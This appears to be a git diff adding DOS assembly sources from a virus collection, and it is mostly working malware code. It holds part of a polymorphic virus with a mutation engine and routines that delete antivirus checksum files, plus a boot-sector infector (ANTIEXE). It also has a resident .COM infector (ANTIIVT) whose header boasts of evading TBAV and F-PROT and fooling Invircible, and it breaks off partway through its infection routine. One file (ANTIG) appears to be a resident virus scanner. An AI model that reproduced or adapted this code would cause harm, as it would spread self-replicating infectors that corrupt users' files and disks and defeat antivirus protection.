ds:[crypt_reverse],0C8D1h ; ror ax,dx + ret + +;Ŀ +; Do encryption with ror instruction +; + +crypt_ror: mov al,0D1h + mov ah,byte ptr ds:[si+03h] + stosw + mov ax,word ptr ds:[eng_displace] ; Disp + stosw + mov ds:[crypt_reverse],0C0D1h ; sub ax,dx + ret + +;Ŀ +; Do encryption with inc instruction +; + +crypt_inc: mov al,0FFh + mov ah,byte ptr ds:[si] + stosw + mov ax,word ptr ds:[eng_displace] ; Disp + stosw + mov ds:[crypt_reverse],9048h ; dec ax + ret + +;Ŀ +; Do encryption with dec instruction +; + +crypt_dec: mov al,0FFh + mov ah,byte ptr ds:[si+03h] + stosw + mov ax,word ptr ds:[eng_displace] ; Disp + stosw + mov ds:[crypt_reverse],9040h ; inc ax + ret + +;Ŀ +; Inc pointer reg using add reg,0002h +; + +ptr_add0002h: mov al,83h + mov ah,byte ptr ds:[si+04h] + stosw + mov al,02h + stosb + ret + +;Ŀ +; Inc pointer reg using sub reg,FFFEh +; + +ptr_subFFFEh: mov al,83h + mov ah,byte ptr ds:[si+05h] + stosw + mov al,0FEh + stosb + ret + +;Ŀ +; Inc pointer reg using inc reg + garbage + inc reg +; + +ptr_inc_inc: call gen_inc_reg + call gen_garbage + call gen_inc_reg + ret + +;Ŀ +; Inc pointer reg using inc reg + garbage + add reg,0001h +; + +ptr_inc_add: call gen_inc_reg + call gen_garbage + call gen_add_0001h + ret + +;Ŀ +; Inc pointer reg using add reg,0001h + garbage + inc reg +; + +ptr_add_inc: call gen_add_0001h + call gen_garbage + call gen_inc_reg + ret + +;Ŀ +; Inc pointer reg using inc reg + garbage + sub reg,FFFFh +; + +ptr_inc_sub: call gen_inc_reg + call gen_garbage + call gen_sub_FFFFh + ret + +;Ŀ +; Inc pointer reg using sub reg,FFFFh + garbage + inc reg +; + +ptr_sub_inc: call gen_sub_FFFFh + call gen_garbage + call gen_inc_reg + ret + +;Ŀ +; Inc pointer reg using add reg,0001h + garbage + add reg,0001h +; + +ptr_add_add: call gen_add_0001h + call gen_garbage + call gen_add_0001h + ret + +;Ŀ +; Inc pointer reg using sub reg,FFFFh + garbage + sub reg,FFFFh +; + +ptr_sub_sub: call gen_sub_FFFFh + call gen_garbage + call gen_sub_FFFFh + ret + +;Ŀ +; Inc pointer reg using add reg,0001h + garbage + sub reg,FFFFh +; + +ptr_add_sub: call gen_add_0001h + call gen_garbage + call gen_sub_FFFFh + ret + +;Ŀ +; Inc pointer reg using sub reg,FFFFh + garbage + add reg,0001h +; + +ptr_sub_add: call gen_sub_FFFFh + call gen_garbage + call gen_add_0001h + ret + +;Ŀ +; Generate add reg,0001h +; + +gen_add_0001h: mov al,83h + mov ah,byte ptr ds:[si+04h] + stosw + mov al,01h + stosb + ret + +;Ŀ +; Generate sub reg,FFFFh +; + +gen_sub_FFFFh: mov al,83h + mov ah,byte ptr ds:[si+05h] + stosw + mov al,0FFh + stosb + ret + +;Ŀ +; Generate inc reg +; + +gen_inc_reg: mov al,byte ptr ds:[si+06h] + stosb + ret + +;Ŀ +; Generate from 2 up to 5 garbage instructions +; + +gen_garbage: push si + inc byte ptr ds:[eng_recursive] + cmp byte ptr ds:[eng_recursive],03h + jae unable_2_gen + mov ax,0003h + call rand_in_range + inc ax + mov cx,ax +loop_gen: push cx + mov ax,(offset end_generator - offset generator_table)/02h + call rand_in_range + add ax,ax + mov si,offset generator_table + add si,ax + call word ptr ds:[si] + pop cx + loop loop_gen + pop si + ret +unable_2_gen: mov byte ptr ds:[eng_recursive],00h + call gen_one_byte + pop si + ret + +;Ŀ +; Generate push/garbage/pop +; + +gen_xpushpop: call gen_one_push + call gen_garbage + call gen_one_pop + ret + +;Ŀ +; Generate a conditional jump followed by some garbage code +; + +gen_cond_jump: call get_rnd + and al,07h + or al,70h + stosb + push di + inc di + call gen_garbage + mov ax,di + pop di + push ax + sub ax,di + dec ax + stosb + pop di + ret + +;Ŀ +; Generate push/pop pairs +; + +gen_push_pop: call gen_one_push + call gen_one_pop + ret + +;Ŀ +; Generate push instruction +; + +gen_one_push: mov ax,offset end_push - offset push_table + call rand_in_range + mov si,offset push_table + jmp short store_byte + +;Ŀ +; Generate pop instruction +; + +gen_one_pop: mov ax,offset end_pop - offset pop_table + call rand_in_range + mov si,offset pop_table + jmp short store_byte + +;Ŀ +; Generate one byte garbage +; + +gen_one_byte: mov ax,offset end_one_byte - offset one_byte_table + call rand_in_range + mov si,offset one_byte_table + +;Ŀ +; Just store one byte from a table +; + +store_byte: add si,ax + movsb + ret + +;Ŀ +; Gen mov,add,sub,adc,sbb,xor,and,or reg,reg +; + +gen_reg_reg: mov ax,offset end_two_byte - offset two_byte_table + call rand_in_range + mov si,offset two_byte_table + call store_byte + mov ax,offset end_reg_reg - offset reg_reg_table + call rand_in_range + mov si,offset reg_reg_table + jmp short store_byte + +;Ŀ +; Gen mov,add,sub,adc,sbb,xor,and,or reg,inm (01h) +; + +gen_inm_01h: mov ax,offset end_inm_01h - offset inm_01h_table + call rand_in_range + mov si,offset inm_01h_table + call store_byte + call get_rnd + stosb + ret + +;Ŀ +; Gen mov,add,sub,adc,sbb,xor,and,or reg,inm (02h) +; + +gen_inm_02h: mov ax,(offset end_inm_02h - offset inm_02h_table)/02h + call rand_in_range + mov si,offset inm_02h_table + add ax,ax + add si,ax + movsw + call get_rnd + stosb + ret + +;Ŀ +; Poly engine tables +; + +gen_reg_table equ this byte +opcodes_si equ this byte + db 0BEh ; mov si,imm + db 84h ; add [si+nn],key + ; rol [si+nn],01h + ; inc [si+nn] + db 0ACh ; sub [si+nn],key + db 0B4h ; xor [si+nn],key + db 8Ch ; ror [si+nn],01h + ; dec [si+nn] + db 0C6h ; add si,imm + db 0EEh ; sub si,imm + db 46h ; inc si + db 0FEh ; cmp si,imm +opcodes_di equ this byte + db 0BFh ; mov di,imm + db 85h ; add [di+nn],key + ; rol [di+nn],01h + ; inc [di+nn] + db 0ADh ; sub [di+nn],key + db 0B5h ; xor [di+nn],key + db 8Dh ; ror [di+nn],01h + ; dec [di+nn] + db 0C7h ; add di,imm + db 0EFh ; sub di,imm + db 47h ; inc di + db 0FFh ; cmp di,imm +opcodes_bx equ this byte + db 0BBh ; mov bx,imm + db 87h ; add [bx+nn],key + ; rol [bx+nn],01h + ; inc [bx+nn] + db 0AFh ; sub [bx+nn],key + db 0B7h ; xor [bx+nn],key + db 8Fh ; ror [bx+nn],01h + ; dec [bx+nn] + db 0C3h ; add bx,imm + db 0EBh ; sub bx,imm + db 43h ; inc bx + db 0FBh ; cmp bx,imm +opcodes_bp equ this byte + db 0BDh ; mov bp,imm + db 86h ; add [bp+nn],key + ; rol [bp+nn],01h + ; inc [bp+nn] + db 0AEh ; sub [bp+nn],key + db 0B6h ; xor [bp+nn],key + db 8Eh ; ror [bp+nn],01h + ; dec [bp+nn] + db 0C5h ; add bp,imm + db 0EDh ; sub bp,imm + db 45h ; inc bp + db 0FDh ; cmp bp,imm +end_gen_reg equ this byte +crypt_table equ this byte + dw offset crypt_add + dw offset crypt_sub + dw offset crypt_xor + dw offset crypt_rol + dw offset crypt_ror + dw offset crypt_inc + dw offset crypt_dec +end_crypt equ this byte +inc_ptr_table equ this byte + dw offset ptr_add0002h + dw offset ptr_subFFFEh + dw offset ptr_inc_inc + dw offset ptr_inc_add + dw offset ptr_add_inc + dw offset ptr_inc_sub + dw offset ptr_sub_inc + dw offset ptr_add_add + dw offset ptr_sub_sub + dw offset ptr_add_sub + dw offset ptr_sub_add +end_inc_ptr equ this byte +opcodes_table equ this byte + dw offset opcodes_si + dw offset opcodes_di + dw offset opcodes_bx + dw offset opcodes_bp +end_opcodes equ this byte +generator_table equ this byte ; Garbage generators: + dw offset gen_one_byte ; One byte instr + dw offset gen_push_pop ; push+pop + dw offset gen_xpushpop ; push+garbage+pop + dw offset gen_reg_reg ; mov,add,sub,or... + dw offset gen_cond_jump ; cond jmp+garbage + dw offset gen_inm_01h ; Gen reg,imm + dw offset gen_inm_02h ; Gen reg,imm +end_generator equ this byte +push_table equ this byte ; Push generator + push ax + push bx + push cx + push dx + push si + push di + push bp + push sp + push cs + push ds + push es + push ss +end_push equ this byte +pop_table equ this byte ; Pop generator + pop ax + pop cx + pop dx +end_pop equ this byte +one_byte_table equ this byte ; One byte instrs + aaa + aas + cbw + clc + cld + cmc + cwd + daa + das + dec ax + dec cx + dec dx + inc ax + inc cx + inc dx + int 03h + nop + stc + std +end_one_byte equ this byte +two_byte_table equ this byte + db 8Ah ; mov reg8,reg8 + db 8Bh ; mov reg16,reg16 + db 02h ; add reg8,reg8 + db 03h ; add reg16,reg16 + db 2Ah ; sub reg8,reg8 + db 2Bh ; sub reg16,reg16 + db 12h ; adc reg8,reg8 + db 13h ; adc reg16,reg16 + db 1Ah ; sbb reg8,reg8 + db 1Bh ; sbb reg16,reg16 + db 32h ; xor reg8,reg8 + db 33h ; xor reg16,reg16 + db 22h ; and reg8,reg8 + db 23h ; and reg16,reg16 + db 0Ah ; or reg8,reg8 + db 0Bh ; or reg16,reg16 +end_two_byte equ this byte +reg_reg_table equ this byte + db 0C0h + db 0C1h + db 0C2h + db 0C3h + db 0C4h + db 0C5h + db 0C6h + db 0C7h + db 0C0h + db 0C1h + db 0C2h + db 0C3h + db 0C4h + db 0C5h + db 0C6h + db 0C7h +end_reg_reg equ this byte +inm_01h_table equ this byte + db 0B0h ; mov al,imm + db 0B4h ; mov ah,imm + db 0B2h ; mov dl,imm + db 0B6h ; mov dh,imm + db 04h ; add al,imm + db 2Ch ; sub al,imm + db 14h ; adc al,imm + db 1Ch ; sbb al,imm + db 34h ; xor al,imm + db 0Ch ; or al,01h + db 24h ; and al,imm +end_inm_01h equ this byte +inm_02h_table equ this byte + db 80h,0C4h ; add ah,1C + db 80h,0C2h ; add dl,1C + db 80h,0C6h ; add dh,1C + db 80h,0ECh ; sub ah,1C + db 80h,0EAh ; sub dl,1C + db 80h,0EEh ; sub dh,1C + db 80h,0D4h ; adc ah,1C + db 80h,0D2h ; adc dl,1C + db 80h,0D6h ; adc dh,1C + db 80h,0DCh ; sbb ah,1C + db 80h,0DAh ; sbb dl,1C + db 80h,0DEh ; sbb dh,1C + db 80h,0F4h ; xor ah,1C + db 80h,0F2h ; xor dl,1C + db 80h,0F6h ; xor dh,1C + db 80h,0CCh ; or ah,1C + db 80h,0CAh ; or dl,1C + db 80h,0CEh ; or dh,1C + db 80h,0E4h ; and ah,1C + db 80h,0E2h ; and dl,1C + db 80h,0E6h ; and dh,1C + db 83h,0E2h ; and dx,0000 + db 83h,0C2h ; add dx,0000 + db 83h,0CAh ; or dx,0000 + db 83h,0F2h ; xor dx,0000 + db 83h,0DAh ; sbb dx,0000 + db 83h,0D2h ; adc dx,0000 + db 83h,0EAh ; sub dx,0000 +end_inm_02h equ this byte + +;Ŀ +; File names to delete inside the int 21h level encryption +; + +del_this_shit01 db "ANTI-VIR.DAT",00h +del_this_shit02 db "CHKLIST.MS",00h + dd 00000000h +end_area03h equ this byte + dd 00000000h + +;Ŀ +; Memory allocation routine +; On entry: +; SI -> number of paragraphs to allocate +; On exit: +; DI -> allocated base address (0000h if error) +; + +mem_alloc: xor di,di ; Error flag + mov ax,5800h ; Get and save memory + int 21h ; allocation strategy + jnc mem_ok_1 + ret +mem_ok_1: push ax + mov ax,5801h ; Set new allocation + mov bx,0080h ; strategy to first + int 21h ; fit high then low +mem_ok_2: mov ax,5802h ; Get and save UMB + int 21h ; link state + jc mem_error_1 + xor ah,ah + push ax + mov ax,5803h ; UMB link state on + mov bx,0001h + int 21h + mov ah,48h ; Allocate memory + mov bx,si + int 21h + jc mem_error_2 + mov di,ax +mem_error_2: mov ax,5803h ; Restore UMB + pop bx ; link state + int 21h +mem_error_1: mov ax,5801h ; Restore allocation + pop bx ; strategy + int 21h + ret + +;Ŀ +; Timer-based random number generator +; + +get_rnd: push cx + in ax,40h ; Get a random number + mov cl,al ; using the timer + xor al,ah ; port + xor ah,cl + xor ax,word ptr cs:[randomize] + mov word ptr cs:[randomize],ax + pop cx + ret + +;Ŀ +; Generate a 16bit random number +; +rand_16: push bx + call get_rnd ; Get a 16bit random + mov bl,al ; number using our + call get_rnd ; 8bit rnd generator + mov bh,al + call get_rnd + xor bl,al + call get_rnd + xor bh,al + xchg bx,ax + pop bx + ret + +;Ŀ +; Generate a random number between 0 and AX +; + +rand_in_range: push bx ; Returns a random + push dx ; number between 0 and + xchg ax,bx ; the entry in AX + call get_rnd + xor dx,dx + div bx + xchg ax,dx ; Reminder in DX + pop dx + pop bx + ret + dd 00000000h +end_area02h equ this byte + dd 00000000h + +;Ŀ +; Return the al vector in ES:BX +; + +get_int: push ax + xor ah,ah + rol ax,1 + rol ax,1 + xchg bx,ax + xor ax,ax + mov es,ax + les bx,dword ptr es:[bx+00h] + pop ax + ret + +;Ŀ +; Set al interrupt vector to DS:DX +; + +set_int: push ax + push bx + push ds + cli + xor ah,ah + rol ax,1 + rol ax,1 + xchg ax,bx + push ds + xor ax,ax + mov ds,ax + mov word ptr ds:[bx+00h],dx + pop word ptr ds:[bx+02h] + sti + pop ds + pop bx + pop ax + ret + +;Ŀ +; Save all the registers in the stack +; + +push_all: cli + pop word ptr cs:[ret_push] + pushf + push ax + push bx + push cx + push dx + push bp + push si + push di + push es + push ds + push word ptr cs:[ret_push] + sti + ret +ret_push dw 0000h ; Caller address + +;Ŀ +; Restore all the registers from the stack +; + +pop_all: cli + pop word ptr cs:[ret_pop] + pop ds + pop es + pop di + pop si + pop bp + pop dx + pop cx + pop bx + pop ax + popf + push word ptr cs:[ret_pop] + sti + ret +ret_pop dw 0000h ; Caller address + dd 00000000h +end_area01h equ this byte + dd 00000000h + +;Ŀ +; Virus buffers (inserted into infections) +; + +old_header db 1Ch dup (00h) ; Old file header + dd 00000000h +virus_inf_end equ this byte + +;Ŀ +; Virus data buffer (not inserted into infections) +; + + dd 00000000h +use_close db 00h +use_terminate db 00h +eng_recursive db 00h +eng_loop_point dw 0000h +eng_crypt_key dw 0000h +eng_displace dw 0000h +eng_entry_point dw 0000h +eng_init_ptr dw 0000h +eng_cmp_ptr dw 0000h +eng_exit_jmp dw 0000h +randomize dw 0000h ; Seed for random numbers +file_attr dw 0000h ; Original file attribute +file_date dw 0000h ; File date +file_time dw 0000h ; ... and time +file_size dd 00000000h ; Size of file to infect +inf_header db 1Ch dup (00h) ; Infected header +exec_filename db 80h dup (00h) ; File to infect +open_filename db 80h dup (00h) ; File to infect +delete_path db 80h dup (00h) ; File to delete +dropper_name db 0Eh dup (00h) ; Dropper file name +virus_mem_end equ this byte + +anti_eta ends + end entry_point diff --git a/a/ANTIEXE.ASM b/a/ANTIEXE.ASM new file mode 100755 index 0000000..a5ff363 --- /dev/null +++ b/a/ANTIEXE.ASM @@ -0,0 +1,285 @@ +target EQU 'T2' ; Target assembler: TASM-2.X + +include srmacros.inc + + +; The following equates show data references outside the range of the program. + +data_1e equ 4Ch +data_3e equ 34Ch +data_4e equ 34Eh +data_5e equ 413h +data_6e equ 46Ch +data_7e equ 7C00h ;* +data_8e equ 4 +data_9e equ 6 +data_10e equ 30h +data_11e equ 200h ;* +data_12e equ 3BEh ;* +data_13e equ 3701h ;* + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 0 + +antiexe proc far + +start: + jmp loc_8 + ;* No entry point to code + dec bp +;* pop cs ; Dangerous-8088 only + db 0Fh ; Fixup - byte match + add [bx+di],al + push sp + xor ch,ds:data_10e + add al,[bx+di] + add [bx+si],ax + add ah,al + add [bx+si+0Bh],al + lock or [bx+si],ax + adc al,[bx+si] + add al,[bx+si] + add [bx+si],al + dec bp + pop dx + inc ax + add ds:data_13e[bx+si],cl +;* pop cs ; Dangerous-8088 only + db 0Fh ; Fixup - byte match + loopnz $-7Eh ; Loop if zf=0, cx>0 + + cld ; Clear direction + stc ; Set carry flag + jz loc_ret_5 ; Jump if zero + mov word ptr cs:[7],ax + int 0D3h ; ??INT Non-standard interrupt + jc loc_ret_5 ; Jump if carry Set + pushf ; Push flags + cmp byte ptr cs:[8],2 + jne loc_4 ; Jump if not equal + push cx + push si + push di + push ds + sub cx,cx + mov ds,cx + test byte ptr ds:data_6e,3 + jz loc_3 ; Jump if zero + push cs + pop ds + mov di,bx +loc_1: +;* lea si,ds:[1Eh] ; Load effective addr + db 8Dh, 36h, 1Eh, 00h ; Fixup - byte match + mov cx,8 + push di + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + pop di + jz loc_2 ; Jump if zero + add di,data_11e + dec byte ptr cs:[7] + jnz loc_1 ; Jump if not zero + jmp short loc_3 + db 90h +loc_2: + stosb ; Store al to es:[di] +loc_3: + pop ds + pop di + pop si + pop cx + cmp cx,1 + jne loc_4 ; Jump if not equal + cmp dh,0 + jne loc_4 ; Jump if not equal + call sub_1 +loc_4: + popf ; Pop flags + +loc_ret_5: + retf 2 ; Return far + +antiexe endp + +; +; SUBROUTINE +; + +sub_1 proc near + push ax + push bx + push cx + push dx + push ds + push es + push si + push di + push es + pop ds + mov ax,word ptr cs:[0] + cmp ax,[bx] + jne loc_6 ; Jump if not equal + mov ax,word ptr cs:[2] + cmp ax,[bx+2] + jne loc_6 ; Jump if not equal + mov cx,ds:data_8e[bx] + mov dh,ds:data_9e[bx] + mov ax,201h + int 0D3h ; ??INT Non-standard interrupt + jmp short loc_7 +loc_6: + cmp dl,1 + ja loc_7 ; Jump if above + mov ax,[bx+16h] + mul byte ptr [bx+10h] ; ax = data * al + add ax,[bx+0Eh] + push dx + mov cl,4 + mov dx,[bx+11h] + shr dx,cl ; Shift w/zeros fill + add ax,dx + dec ax + mov cx,[bx+18h] + push cx + shl cx,1 ; Shift w/zeros fill + sub dx,dx + div cx ; ax,dx rem=dx:ax/reg + pop cx + push ax + mov ax,dx + sub dx,dx + div cx ; ax,dx rem=dx:ax/reg + mov dh,al + mov cl,dl + pop ax + mov ch,al + inc cl + pop ax + mov dl,al + mov byte ptr cs:[6],dh + mov word ptr cs:[4],cx + mov ax,301h + int 0D3h ; ??INT Non-standard interrupt + jc loc_7 ; Jump if carry Set + push cs + pop es + cld ; Clear direction + mov di,7 + mov si,bx + add si,di + mov cx,17h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov ax,301h + xor bx,bx ; Zero register + mov cx,1 + sub dh,dh + int 0D3h ; ??INT Non-standard interrupt +loc_7: + pop di + pop si + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + retn +sub_1 endp + +loc_8: + xor di,di ; Zero register + mov ds,di + les dx,dword ptr ds:data_1e ; Load 32 bit ptr + mov ds:data_3e,dx + mov ds:data_4e,es + cli ; Disable interrupts + mov ss,di + mov si,data_7e + mov sp,si + sti ; Enable interrupts + push ds + push si + push si + mov ax,ds:data_5e + dec ax + mov ds:data_5e,ax + mov cl,6 + shl ax,cl ; Shift w/zeros fill + mov es,ax + mov word ptr ds:data_1e+2,ax + mov word ptr ds:data_1e,27h + push ax + mov ax,155h + push ax + mov cx,100h + cld ; Clear direction + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + retf + ;* No entry point to code + xor ax,ax ; Zero register + mov es,ax + int 0D3h ; ??INT Non-standard interrupt + push cs + pop ds + mov ax,201h + pop bx + mov cx,word ptr ds:[4] + cmp cx,0Dh + jne loc_10 ; Jump if not equal + mov dx,80h + int 0D3h ; ??INT Non-standard interrupt + +loc_ret_9: + retf ; Return far +loc_10: + sub dx,dx + mov dh,ds:data_9e + int 0D3h ; ??INT Non-standard interrupt + jc loc_ret_9 ; Jump if carry Set + push cs + pop es + mov ax,201h + mov bx,200h + mov cx,1 + mov dx,80h + int 0D3h ; ??INT Non-standard interrupt + jc loc_ret_9 ; Jump if carry Set + xor si,si ; Zero register + lodsw ; String [si] to ax + cmp ax,[bx] + jne loc_11 ; Jump if not equal + lodsw ; String [si] to ax + cmp ax,[bx+2] + je loc_ret_9 ; Jump if equal +loc_11: + mov cx,0Dh + mov ds:data_8e,cx + mov ax,301h + push ax + int 0D3h ; ??INT Non-standard interrupt + pop ax + jc loc_ret_9 ; Jump if carry Set + mov si,data_12e + mov di,offset data_21 + mov cx,21h + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + inc cx + sub bx,bx + mov ds:data_9e,dh + int 0D3h ; ??INT Non-standard interrupt + retf ; Return far +data_21 db 80h + db 01h, 01h, 00h, 06h, 0Eh,0DCh + db 0DCh, 1Ch, 00h, 00h, 00h, 78h + db 56h, 06h + db 49 dup (0) + db 55h,0AAh + +seg_a ends + + + + end start diff --git a/a/ANTIG.ASM b/a/ANTIG.ASM new file mode 100755 index 0000000..61cb602 --- /dev/null +++ b/a/ANTIG.ASM @@ -0,0 +1,427 @@ +.286 +.model small +include push.mac +.code + +assume cs:_TEXT,ds:_TEXT + + org 000h +next_dev dd 0FFFFFFFFh +devatt dw 8000h + dw offset strategy + dw offset interrupt +nam db 'antigame' + +start proc far + + +old_si dw 0 +old_bx dw 0 +old_cx dw 0 +old_dx dw 0 +es_main dw 0 +num_ff dw 0 +last_pag dw 0 +viroff dw 0 +cnt db 0 +count db 0 +scan_seg dw 0 +mes db 'Found !','$' +filnm db 15 dup(0) +buffer db 'NCMAIN.EXE',0h,0h,0h,0h,0h + db 'QA.COM', + db 64 dup (0) + +include datagame.inc + + +int_21h_entry: + + pushf ; Push flags + sti ; Enable interrupts + cmp ah,4Bh ; + je loc_25 ; Jump if equal + +loc_24: + popf ; Pop flags + db 0EAh +old_21h_off dw ? +old_21h_seg dw ? + + +loc_25: + cmp cs:cnt, 0 + jne loc_204 + inc cs:cnt + jmp loc_24 +loc_204: + mov cs:old_bx,bx + push ax + push cx + push di + push es + push ds + push si + push dx + + mov si,dx +loc_205: + inc si + cmp byte ptr ds:[si],0 + jne loc_205 + mov bh,0 +loc_206: + inc bh + dec si + cmp byte ptr ds:[si],'\' + jne loc_206 + inc si + dec bh + push cs + pop es + xor cx,cx + mov bl,-1 +loc_94: + inc bl + lea di,cs:buffer + mov ax,15 + mul bl + add di,ax + push si + mov cl,bh + rep cmpsb + pop si + je loc_57 + cmp bl,4 + jne loc_94 + jmp short loc_95 + +loc_57: + mov byte ptr cs:count,0 + jmp loc_fin + +loc_95: + mov cl,bh + lea di,cs:filnm + repne movsb + sub si,3 + cmp word ptr ds:[si],'XE' + jne loc_47 + lea ax,cs:only_exe + mov byte ptr bl,cs:only_exe_count + jmp short loc_files + +loc_47: + cmp word ptr ds:[si],'OC' + je loc_79 + lea ax,cs:ov_pi + mov byte ptr bl,cs:ov_pi_count + jmp short loc_files + +loc_79: + lea ax,cs:com_exe + mov byte ptr bl,cs:com_exe_count + +loc_files: + + mov cs:viroff,ax + mov byte ptr cs:count,bl + + mov ah,3dh + xor al,al + int 21h ; file is open for reading + jc loc_fin + + mov bx,ax + mov ah,42h + xor cx,cx + mov dx,cx + mov al,2 + int 21h ; seek to the end + + mov cs:num_ff,dx ; save number of 64k + mov cs:last_pag,ax ; save length of last page + + mov ah,3eh + int 21h ; close the file + +loc_fin: + pop dx + pop si + pop ds + pop es + pop di + pop cx + pop ax + cmp al,0 + jne lc_en + jmp short loc_en +lc_en: + mov bx,cs:old_bx + mov word ptr bx,es:[bx] + mov word ptr cs:scan_seg,bx + popf + pop cs:old_ovl_off + pop cs:old_ovl_seg + push cs + push offset cs:fal_ovl + pushf + +loc_en: + mov bx,cs:old_bx + jmp loc_24 + +fal_ovl: + pushf + push es + push ds + push ax + + mov dx,cs:scan_seg + push cs + pop ds + call scanvir + pop ax + jnc loc_nvi + call message + mov di,cs:old_ovl_seg + mov es,di + mov di,cs:old_ovl_off + mov es:[di],21cdh + mov ah,4ch +loc_nvi: + pop ds + pop es + popf + db 0EAh +old_ovl_off dw ? +old_ovl_seg dw ? + + +message: + mov dx,si + mov ah,09h + int 21h + lea dx,mes + mov ah,09h + int 21h + ret + +int_4b_scan: + + pushf + mov old_bx,bx + mov old_dx,dx +; push cs +; pop ds +; add dx,10h ; dx = Start seg + +; call scanvir +; jc loc_vir + + mov ax,old_bx + mov dx,old_dx + mov ds,dx + mov es,dx + popf + retf + +loc_vir: +; call message + pop dx + pop dx + pop ds + mov dx,old_dx + push dx + xor dx,dx + push dx + retf + + +scanvir: + ; dx = segment for scan (offset = 0) + ; cs:viroff = offset of virtable + ; ds = segment of virtable + ; cs:count = number of viruses + ; cs:num_ff = number of 64k + ; cs:last_pag = number of bytes in last page + ; return bit c if virus is founded + ; ds:si points to the viruses name + ; bp,es,di,bx,ax,dx + + mov cs:es_main,dx ; es_main = Start_seg + + mov bp,cs:viroff ; bp - pointer to virus table + mov bh,0 + +loc_5: + cmp byte ptr cs:count,bh + jne loc_61 + ret +loc_61: + inc bh + mov di,cs:es_main ; + mov es,di ; + xor di,di ; + mov dx,cs:num_ff ; + mov si,cs:[bp] ; si points to this viruses pattern + lodsb + mov bl,al ; bl - counter of characters in virus pattern + sub bl,1 + lodsb ; al - first char of pattern + jmp loc_12 ; go to search + +loc_9: + cmp dx,-1 ; virus is ended ? + jne loc_15 ; no + add bp,2 ; bp points to the next virus + jmp loc_5 + +loc_15: + + xor di,di ; di points to the beginning of the next segment + mov cx,es ; + add cx,1000h ; + mov es,cx ; es points to the next segment + +loc_12: + cmp dx,0 ; we'll work with last page ? + je loc_2 ; yes + mov cx,0ffffh ; cx = maximum counter + jmp loc_10 +loc_2: + mov cx,cs:last_pag ; + +loc_10: + + repne scasb ; search for first char + je loc_13 ; found + dec dx ; decrement of the counter of 64k + jmp loc_9 ; go to the preparing for the search in next segment + +loc_13: + mov cs:old_cx,cx ; + mov cs:old_si,si + push di + push es + cmp di,0fff0h + jbe loc_7 + mov cx,es + inc cx + mov es,cx + sub di,10h + +loc_7: + xor cx,cx + mov cl,bl + repz cmpsb + jne loc_11 + pop es + pop di + jmp loc_89 ; found ! + +loc_11: + mov si,cs:old_si + pop es + pop di + mov cx,cs:old_cx + jmp loc_10 + +loc_er: + + +loc_89: + stc + ret + +start endp + +strategy proc far + mov cs:sav_off,bx + mov cs:sav_seg,es + retf + +sav_off dw 0 +sav_seg dw 0 +strategy endp + +interrupt proc far + nop +install: + cli + mov byte ptr cs:[interrupt],0CBh + pushf + pushrs + mov bp, sp + + xor ax,ax + push ax + pop ds ; ds=0 + cli + + les di,ds:[21h*4] + mov cs:old_21h_off,di + mov cs:old_21h_seg,es + + les di,ds:[31h*4] + + mov ds:[21h*4],offset cs:int_21h_entry + mov ds:[21h*4+2],cs + + sti + + ; find 'MZ' + mov cx,-1 + cld + mov al,4dh +loc_lo: + repne scasb + jne loc_err + cmp byte ptr es:[di],5ah + jne loc_lo + +loc_loop: + ; 'MZ' found + + push cs + pop ds + lea si,cs:pattern + inc si + + + mov byte ptr al,cs:[si-1] + inc si +loc_loop1: + dec si + repne scasb + jne loc_err + push cx + mov cx,6 + rep cmpsb + pop cx + jnz loc_loop1 + +suc_end: + mov byte ptr es:[di-5],0eah + mov es:[di-4],offset cs:int_4b_scan + mov es:[di-2],cs +loc_err: + les di,dword ptr cs:sav_off + mov es:[di+0Eh],offset install + mov es:[di+10h],cs + mov word ptr es:[di+3], 0 ; + mov sp, bp + poprs + popf + retf +pattern: + db 08eh + db 0c2h + db 08eh + db 0dah + db 08bh + db 0c3h + db 0cbh + +interrupt endp + end \ No newline at end of file diff --git a/a/ANTIIVT.ASM b/a/ANTIIVT.ASM new file mode 100755 index 0000000..4b9be3f --- /dev/null +++ b/a/ANTIIVT.ASM @@ -0,0 +1,164 @@ +; AntiIVT - written by Conzouler/IR 1995 +; +; A virus based on RSV which fool Invircible's test program. +; +; Features: +; memory resident +; com-append on execute +; no tb-flags (of course) +; no f-prot heuristics +; fools invircible test +; + +.model tiny +.code + org 100h + +psize equ (offset last - offset entry) / 10h + 2 +size equ offset last - offset entry + +entry: + db 0e9h,0,0 ; Initial jump +start: + call gores + +oentry db 0CDh,20h,90h + +gores: + mov ax, 4277h ; Installation check + int 21h + jnc restore + + mov ah, 4Ah ; Get size of memory block + mov bx, 0FFFFh + int 21h + mov ah, 4Ah ; Change size of memory + sub bx, psize+1 ; Make space for virus + int 21h + mov ah, 48h ; Allocate memory + mov bx, psize + int 21h + sub ax, 10h ; Compensate org 100h + mov es, ax + mov di, 103h + mov si, sp ; Get entry point + mov si, [si] + sub si, 3 ; Subtract first call + mov cx, size-3 + rep movsb ; Copy virus to new memory + push es + pop ds + inc byte ptr ds:[0F1h] ; Mark owner of memory + mov ax, 3521h ; Get interrupt vector + int 21h + mov i21o, bx + mov i21s, es + mov ah, 25h ; Set interrupt vector + mov dx, offset vec21 + int 21h + +restore: + mov di, 100h + push cs ; Set es and ds to psp + pop ds + push ds + pop es + pop si ; Get entry point + push di ; Save it + movsw ; Restore program entry point + movsb + retn ; Jump to 100h + + +vec21: + cmp ax, 4277h ; Installation check + jne v21e + iret +v21e: cmp ax, 4B00h ; Execute program + jne v21x + + push ax ; Infect file + push bx + push cx + push dx + push ds + + +; This routine checks the name of the currently running program. + + mov ah, 62h ; Get psp + int 21h + dec bx + mov ds, bx + cmp word ptr ds:[8], 'VI' + je infectend + + pop ds + push ds + + mov ax, 3D82h ; Open file + int 21h + xchg ax, bx ; Put handle in bx + + push cs ; Read first bytes + pop ds ; to oentry + mov ah, 3Fh + mov dx, offset oentry + mov cx, 3 + int 21h + cmp byte ptr oentry, 'M' ; Check if exe file + je infectx + push cx + + mov ax, 4202h ; Seek to eof + xor cx, cx + cwd ; Zero dx + int 21h + + sub ax, 3 ; Get offset to eof + mov word ptr entry[1], ax ; Save as jump + xchg dx, ax + mov ax, 4200h + int 21h + mov ah, 3Fh ; Infection check + mov dx, offset last + pop cx + + int 21h + cmp byte ptr last[2], 0EAh ; Check if infected + je infectx + + 